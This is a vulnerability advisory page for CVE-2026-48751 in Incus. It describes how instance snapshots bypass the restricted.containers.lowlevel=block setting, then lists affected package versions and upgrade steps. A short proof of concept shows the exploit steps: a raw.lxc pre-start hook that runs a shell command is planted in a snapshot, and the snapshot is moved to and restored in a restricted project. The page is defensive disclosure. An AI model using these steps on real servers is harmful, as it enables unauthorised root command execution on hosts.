CVE-2026-48751: Incus has a restricted project bypass leading to arbitrary command execution

Published Jun 26, 2026
·
Updated

Summary

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

Details

Instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu.

As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution.

In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges.

PoC

remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block

locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc

locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc

Impact

- Bypass of project restrictions. - Arbitrary command execution on the Incus server.

Other sources

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the restricted.containers.lowlevel=block setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as raw.lxc and raw.qemu. Version 7.2.0 patches the issue.

— MITRE

Affected Software

8 affected componentsFixes available
go/github.com/lxc/incus/v7/cmd/incusd<7.2.0
7.2.0
alpine/incus<7.0.1-r0
7.0.1-r0
debian/incus<6.0.4-2+deb13u8
6.0.4-2+deb13u8
debian/incus<7.0.0-5
7.0.0-5
debian/lxd*
debian/lxd<5.0.2+git20231211.1364ae4-9+deb13u7
5.0.2+git20231211.1364ae4-9+deb13u7
debian/incus
6.0.4-2+deb13u106.0.4-2+deb13u127.0.2-3
debian/lxd<=5.0.2-5+deb12u6
5.0.2+git20231211.1364ae4-9+deb13u7

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/lxc/incus/v7/cmd/incusd to a version that resolves this vulnerability.

    Fixed in 7.2.0
  2. Upgrade

    Upgrade alpine/incus to a version that resolves this vulnerability.

    Fixed in 7.0.1-r0
  3. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 6.0.4-2+deb13u8
  4. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 7.0.0-5
  5. Upgrade

    Upgrade debian/lxd to a version that resolves this vulnerability.

    Fixed in 5.0.2+git20231211.1364ae4-9+deb13u7
  6. Upgrade

    Upgrade debian/incus to a version that resolves this vulnerability.

    Fixed in 6.0.4-2+deb13u10Fixed in 6.0.4-2+deb13u12Fixed in 7.0.2-3
  7. Upgrade

    Upgrade Incus to a version that resolves this vulnerability.

    Fixed in 7.2.0
  8. Compensating control

    If you cannot immediately upgrade to Incus version 7.2.0, mitigate by preventing/metering snapshot movement and restore across projects (e.g., block/incidents-control the ability to move/restore instance snapshots between unrestricted and restricted projects) to stop bypass of restricted.containers.lowlevel=block via moved snapshots.

Event History

Jun 26, 2026
Advisory Published
via GitHub·06:33 PM
Data Sourced
via GitHub·06:33 PM
DescriptionSeverityWeaknessAffected Software
Aug 21, 2026
CVE Published
via MITRE·02:21 PM
Data Sourced
via MITRE·02:21 PM
DescriptionSeverityWeakness
Exploit Published
via CISA·03:15 PM
Data Sourced
via NVD·03:16 PM
DescriptionSeverityWeakness

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

What is the severity of CVE-2026-48751?

CVE-2026-48751 has a severity rating of 9.9, categorized as critical.

2

What does CVE-2026-48751 exploit?

CVE-2026-48751 exploits the fact that instance snapshots ignore the `restricted.containers.lowlevel=block` setting.

3

How can CVE-2026-48751 affect my system?

CVE-2026-48751 allows for arbitrary command execution on the Incus server, posing a significant risk.

4

What are the attack vectors for CVE-2026-48751?

CVE-2026-48751 can be exploited through lowlevel hooks such as `raw.lxc` and `raw.qemu`.

5

How do I mitigate CVE-2026-48751?

To mitigate CVE-2026-48751, ensure proper configuration of instance snapshots and restrict the use of lowlevel hooks.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203